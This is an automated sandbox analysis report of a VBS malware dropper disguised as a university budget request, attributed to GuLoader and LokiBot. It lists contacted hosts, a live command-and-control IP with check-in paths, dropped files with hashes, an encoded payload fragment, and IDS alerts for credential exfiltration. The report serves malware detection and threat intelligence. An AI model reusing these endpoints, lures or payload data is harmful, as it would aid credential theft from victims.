https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1864327822.0000021193AA7000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://drive.usercontent.google.com/H	msiexec.exe, 00000008.00000003.2158130127.0000000004360000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2228849049.0000000004327000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2948258092.0000000004328000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	powershell.exe, 00000001.00000002.1864327822.0000021193D19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195629000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2126102585.0000000004363000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000004.00000002.2690295829.00000000045E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/	msiexec.exe, 00000008.00000002.2948258092.00000000042AA000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://contoso.com/	powershell.exe, 00000001.00000002.1895124133.00000211A38F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1895124133.00000211A38F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com	powershell.exe, 00000001.00000002.1864327822.00000211955FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.00000211959D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021193AA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021193D2B000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://drive.usercontent.google.com	powershell.exe, 00000001.00000002.1864327822.0000021193D19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195A66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195629000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1864327822.0000021193881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	powershell.exe, 00000001.00000002.1864327822.0000021193D19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195629000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2126102585.0000000004363000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1864327822.0000021193881000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2690295829.00000000045E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.usercontent.google.com/6	msiexec.exe, 00000008.00000003.2158130127.0000000004360000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2228849049.0000000004327000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2948258092.0000000004328000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.161	unknown	United States	15169	GOOGLEUS	false
137.184.191.215	unknown	United States	11003	PANDGUS	true
172.217.18.14	drive.google.com	United States	15169	GOOGLEUS	false
172.217.18.110	unknown	United States	15169	GOOGLEUS	false
142.250.186.33	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523886
Start date and time:	2024-10-02 07:17:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs renamed because original name is a hash value
Original Sample Name:	PERMINTAAN ANGGARAN (Universitas IPB) ID177888pdf.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBS@8/10@5/5
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:18:21	API Interceptor	121x Sleep call for process: powershell.exe modified
01:19:17	API Interceptor	24x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
137.184.191.215	Aj#U00e1nlatk#U00e9r#U00e9s 09-30-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215/index.php/10899
	PRORA#U010cUNSKA ZAHTEVA 09-30-2024#U00b7pdf.vbe	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215/index.php/check.php?id=1
	Solicitud de presupuesto 09-30-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215/index.php/10899
	SOLICITUD DE PEDIDO (Universidade de S#U00e3o Paulo (USP))09-30-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215/index.php/check.php?s=am9ntjjw
	Bnnebgers.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215/index.php/039
	PERMINTAAN ANGGARAN (Universitas IPB) ID177888.vbe	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215/index.php/check.php?s=am9ntjjw
	Happy Fiestas Patrias#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215/index.php/check.php?s=am9ntjjw
	B#U00dcDC#U018f SOR#U011eU 09-24-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215/index.php/10899
	____.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215/index.php/039
	DIR-A_FB09948533#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215/index.php/10899

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PANDGUS	Aj#U00e1nlatk#U00e9r#U00e9s 09-30-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215
	PRORA#U010cUNSKA ZAHTEVA 09-30-2024#U00b7pdf.vbe	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215
	Solicitud de presupuesto 09-30-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215
	SOLICITUD DE PEDIDO (Universidade de S#U00e3o Paulo (USP))09-30-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215
	Bnnebgers.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215
	SecuriteInfo.com.Linux.Siggen.9999.10361.13333.elf	Get hash	malicious	Mirai	Browse	155.120.253.229
	PERMINTAAN ANGGARAN (Universitas IPB) ID177888.vbe	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215
	Happy Fiestas Patrias#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215
	B#U00dcDC#U018f SOR#U011eU 09-24-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215
	____.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	137.184.191.215

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	404.exe	Get hash	malicious	Unknown	Browse	142.250.186.33 172.217.18.14
	Scan_doc_09_16_24_1120.exe	Get hash	malicious	ScreenConnect Tool	Browse	142.250.186.33 172.217.18.14
	E_BILL9926378035.exe	Get hash	malicious	ScreenConnect Tool	Browse	142.250.186.33 172.217.18.14
	Scan_doc_09_16_24_1203.exe	Get hash	malicious	ScreenConnect Tool	Browse	142.250.186.33 172.217.18.14
	E_BILL0041272508.exe	Get hash	malicious	ScreenConnect Tool	Browse	142.250.186.33 172.217.18.14
	Scan_doc_09_16_24_1120.exe	Get hash	malicious	ScreenConnect Tool	Browse	142.250.186.33 172.217.18.14
	E_BILL9926378035.exe	Get hash	malicious	ScreenConnect Tool	Browse	142.250.186.33 172.217.18.14
	D0WmCTD2qO.bat	Get hash	malicious	Unknown	Browse	142.250.186.33 172.217.18.14
	c5WMpr1cOc.bat	Get hash	malicious	Unknown	Browse	142.250.186.33 172.217.18.14
	Scan_doc_09_16_24_1203.exe	Get hash	malicious	ScreenConnect Tool	Browse	142.250.186.33 172.217.18.14
37f463bf4616ecd445d4a1937da06e19	AMG Cargo Logistic.docx	Get hash	malicious	Unknown	Browse	172.217.18.110 142.250.186.161
	Cn3E2Kp2LP.exe	Get hash	malicious	CobaltStrike	Browse	172.217.18.110 142.250.186.161
	Cn3E2Kp2LP.exe	Get hash	malicious	CobaltStrike	Browse	172.217.18.110 142.250.186.161
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.217.18.110 142.250.186.161
	setup.ic19.exe	Get hash	malicious	GhostRat, Nitol	Browse	172.217.18.110 142.250.186.161
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.217.18.110 142.250.186.161
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.217.18.110 142.250.186.161
	Enclosed_PO4376630092024_Request_Specifications_Drawings_jpg.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.217.18.110 142.250.186.161
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.217.18.110 142.250.186.161
	Version.130.2482.15.js	Get hash	malicious	Unknown	Browse	172.217.18.110 142.250.186.161

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\188E93\31437F.exe	SOLICITUD DE PEDIDO (Universidade de S#U00e3o Paulo (USP))09-30-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse
	Bnnebgers.vbs	Get hash	malicious	GuLoader, Lokibot	Browse
	C7jdH7geD6.exe	Get hash	malicious	Unknown	Browse
	setup.exe	Get hash	malicious	Unknown	Browse
	#U67e5#U8be2#U5165#U53e3.exe	Get hash	malicious	Unknown	Browse
	sample.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.8908305915084105
Encrypted:	false
SSDEEP:	192:yVsm5eml2ib4LxoeRm3YrKkzYFQ9smKp5pVFn3eGOVpN6K3bkkjo5xgkjDt4iWNH:yCib4PYbLVoGIpN6KQkj2qkjh4iUx6iP
MD5:	FE1902820A1CE8BD18FD85043C4D9C5C
SHA1:	62F24EAE4A42BA3AE454A6FAB07EF47D1FE9DFD6
SHA-256:	8BBDC66564B509C80EA7BE85EA9632ACD0958008624B829EA4A24895CA73D994
SHA-512:	8D1BADE448F0C53D6EC00BC9FACDBCB1D4B1B7C61E91855206A08BDBF61C6E4A40210574C4193463C8A13AE692DD80897F3CE9E39958472705CF17D77FE9C1D9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module........Find-Command........Unregister-PSRepository........Get-InstalledScript........Get-DynamicOptions........Add-PackageSource........Register-PSRepository........Find-DscResource........Publish-Script........Find-RoleCapability........Uninstall-Package........Get-PackageDependencies........pumo........fimo........Find-Script........Initialize-Provider........Get-PackageProviderName........Test-ScriptFileInfo........Get-InstalledModule........Update-ScriptFileInfo........Get-InstalledPackage........Resolve-PackageSource........Uninstall-Module........inmo........Remove-PackageSource........Update-Script........Uninstall-Script........Update-ModuleManifest........Get-Feature........Install-Module........Install-Package........New-ScriptFileInfo...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2xm4ytvb.fjt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_drasxdxz.3vk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l2y0cukb.e5w.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yl2fnnjw.zmj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\188E93\31437F.exe

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	59904
Entropy (8bit):	5.770776695007155
Encrypted:	false
SSDEEP:	768:uo8HL2TB4LHLbo77Q2d9xSDvYD07BOUp8VKfTKznHVXq6ayYf3:vTB4LG7B8jY4XprIHw62
MD5:	9D09DC1EDA745A5F87553048E57620CF
SHA1:	1D0C7CFCA8104D06DE1F08B97F28B3520C246CD7
SHA-256:	3A90EDE157D40A4DB7859158C826F7B4D0F19A5768F6483C9BE6EE481C6E1AF7
SHA-512:	2BE940F0468F77792C6E1B593376900C24FF0B0FAE8DC2E57B05596506789AA76119F8BE780C57252F74CD1F0C2FA7223FE44AE4FA3643C26DF00DD42BD4C016
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: SOLICITUD DE PEDIDO (Universidade de S#U00e3o Paulo (USP))09-30-2024#U00b7pdf.vbs, Detection: malicious, Browse Filename: Bnnebgers.vbs, Detection: malicious, Browse Filename: C7jdH7geD6.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: #U67e5#U8be2#U5165#U53e3.exe, Detection: malicious, Browse Filename: sample.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0...tkq.tkq.tkq.`.r.skq.`.t.zkq.`.p.ykq.tkp..kq.`.x.wkq.`.u.=kq.`...ukq.`.s.ukq.Richtkq.........PE..L....E.%.....................^......0.............@.......................... ......\.....@...... ...................................................................(..T...............................@.......................@....................text...d........................... ..`.data...............................@....idata..............................@..@.didat..L...........................@....rsrc............ ..................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\188E93\31437F.lck

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\bc49718863ee53e026d805ec372039e9_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbq:4
MD5:	8CB7B7F28464C3FCBAE8A10C46204572
SHA1:	767FE80969EC2E67F54CC1B6D383C76E7859E2DE
SHA-256:	ED5E3DCEB0A1D68803745084985051C1ED41E11AC611DF8600B1A471F3752E96
SHA-512:	9BA84225FDB6C0FD69AD99B69824EC5B8D2B8FD3BB4610576DB4AD79ADF381F7F82C4C9522EC89F7171907577FAF1B4E70B82364F516CF8BBFED99D2ADEA43AF
Malicious:	false
Preview:	........................................user.

C:\Users\user\AppData\Roaming\Reebok.Dia

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	468128
Entropy (8bit):	5.964340705901803
Encrypted:	false
SSDEEP:	12288:lPtCGsaVQ7AMDbqPudZ/tQMJksdTL3SiG:2Awb1mM53jG
MD5:	D4C256A39EBB62A0AE88C5DFAF3DE765
SHA1:	437D4EFB2D6F5650F9927CC930B6A34AA46E3A54
SHA-256:	6244FB691D281B1C43C443E20B1DEB12E3A4F85E45993D37C97B9C968977D1B4
SHA-512:	6A2240302A45C0F32B6EF44E21FC577E2B1908136568BBCC3112F35341C48D00A7938292483FF5BBBC20F2638528955E73A4BAF5D4FE3CF9D4175BC010FF401F
Malicious:	false
Preview:	cQGb6wKAiLsZWQoA6wKxi3EBmwNcJATrAmuD6wKN2bkNCmBy6wIDGesCJTqB8UDEWoRxAZvrArAFgfFNzjr26wIyXnEBm+sCIHjrAuscuj5gNGnrAmh3cQGb6wI6OnEBmzHKcQGb6wKgMIkUC3EBm+sClTbR4nEBm3EBm4PBBHEBm+sC0L6B+aepFQF8zOsCQxBxAZuLRCQE6wJw+nEBm4nD6wKlWHEBm4HD+OeDAHEBm3EBm7oHsABrcQGb6wI34IHyfGTrv3EBm3EBm4HChSsUK+sCUwtxAZtxAZvrAonB6wJGyOsCcZOLDBDrAklfcQGbiQwT6wI32OsC9klC6wLOM+sCQsuB+gjfBAB10usCYXpxAZuJXCQM6wKWS3EBm4HtAAMAAOsCdSXrAsjzi1QkCHEBm+sCMx+LfCQE6wIoSnEBm4nrcQGb6wJUOoHDnAAAAHEBm+sCTfdTcQGbcQGbakBxAZvrAhzSievrAkhWcQGbx4MAAQAAABAjAXEBm+sCqKGBwwABAABxAZtxAZtTcQGb6wIjUInrcQGb6wLTA4m7BAEAAHEBm3EBm4HDBAEAAHEBm+sCw+RT6wITxusC05Vq/3EBm3EBm4PCBesCpGXrAgPNMfZxAZtxAZsxyXEBm3EBm4sa6wLKRXEBm0FxAZtxAZs5HAp19OsCEMhxAZtG6wJfKusChu6AfAr7uHXd6wI7a+sClCWLRAr8cQGbcQGbKfBxAZtxAZv/0usCD4XrAoV2ugjfBADrAlwa6wLenzHA6wK7fusC942LfCQM6wLZROsCfyeBNAf2xIq8cQGb6wLsuIPABOsChEbrAqeROdB14+sC72lxAZuJ+3EBm3EBm//X6wJ6r3EBm84hs39/IQMB3zt1Q0kOVllDRWWazpWYPQH5cGMARWUlrY/flQpPN5UJO3XpfyEzfSdQgDwMmwtNFPqSCXcFbba7jwtN5D5Ttl8dvvS9A86x9o1VeCVF/rH2iF8Fbfx9

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	4.858420781526879
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs
File size:	74'212 bytes
MD5:	cf3ce0d565b919fe45d02705736fe824
SHA1:	0924076c6434b432b18fd0b298a2b5b14e38b754
SHA256:	96c1a11d9036afc58f65d8533f2c37b7fc64048e21bc60f28f0bb9311902e80f
SHA512:	eb44246e1c25d9cfcb49f724f710b21432fb8fab17b1344c3af142ef5959542a01db052db1e02b8f9af1df07872d3508fa99718a95260440b450bcee035fc431
SSDEEP:	1536:sTgvWHbK7HAM/TkMCV5i+8Q5+h+4C/hNGweE+f:sTgeMAITO8QS+lkf
TLSH:	09732931F9D706F68D4222FCE9416F0587B9BE182315C0ECA5B9C68A18D14DF8EBB2D5
File Content Preview:	..Rem Omohyoid? stromata? signficance debasingly!..Rem Serbantian? dimers.....Rem Trapperummet smaskede conhydrine! midterfigurernes vav..Rem Zamorine unbalanceable, navnetypes2 kunsthandler? forbiddingness:..Rem Pullers reuter: apperceptionism: effektivi

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T07:19:05.174518+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	59082	172.217.18.110	443	TCP
2024-10-02T07:19:09.572345+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59084	137.184.191.215	80	TCP
2024-10-02T07:19:09.572345+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59084	137.184.191.215	80	TCP
2024-10-02T07:19:12.302852+0200	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.4	59084	137.184.191.215	80	TCP
2024-10-02T07:19:12.483647+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59085	137.184.191.215	80	TCP
2024-10-02T07:19:12.483647+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59085	137.184.191.215	80	TCP
2024-10-02T07:19:15.447618+0200	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.4	59085	137.184.191.215	80	TCP
2024-10-02T07:19:15.529974+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59086	137.184.191.215	80	TCP
2024-10-02T07:19:15.529974+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59086	137.184.191.215	80	TCP
2024-10-02T07:19:18.171666+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59086	137.184.191.215	80	TCP
2024-10-02T07:19:18.171666+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59086	137.184.191.215	80	TCP
2024-10-02T07:19:18.355471+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59087	137.184.191.215	80	TCP
2024-10-02T07:19:18.355471+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59087	137.184.191.215	80	TCP
2024-10-02T07:19:21.013032+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59087	137.184.191.215	80	TCP
2024-10-02T07:19:21.013032+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59087	137.184.191.215	80	TCP
2024-10-02T07:19:21.251872+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59088	137.184.191.215	80	TCP
2024-10-02T07:19:21.251872+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59088	137.184.191.215	80	TCP
2024-10-02T07:19:23.973964+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59088	137.184.191.215	80	TCP
2024-10-02T07:19:23.973964+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59088	137.184.191.215	80	TCP
2024-10-02T07:19:24.164842+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59089	137.184.191.215	80	TCP
2024-10-02T07:19:24.164842+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59089	137.184.191.215	80	TCP
2024-10-02T07:19:27.548269+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59089	137.184.191.215	80	TCP
2024-10-02T07:19:27.548269+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59089	137.184.191.215	80	TCP
2024-10-02T07:19:27.707362+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59090	137.184.191.215	80	TCP
2024-10-02T07:19:27.707362+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59090	137.184.191.215	80	TCP
2024-10-02T07:19:30.379725+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59090	137.184.191.215	80	TCP
2024-10-02T07:19:30.379725+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59090	137.184.191.215	80	TCP
2024-10-02T07:19:30.551427+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59091	137.184.191.215	80	TCP
2024-10-02T07:19:30.551427+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59091	137.184.191.215	80	TCP
2024-10-02T07:19:33.225029+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59091	137.184.191.215	80	TCP
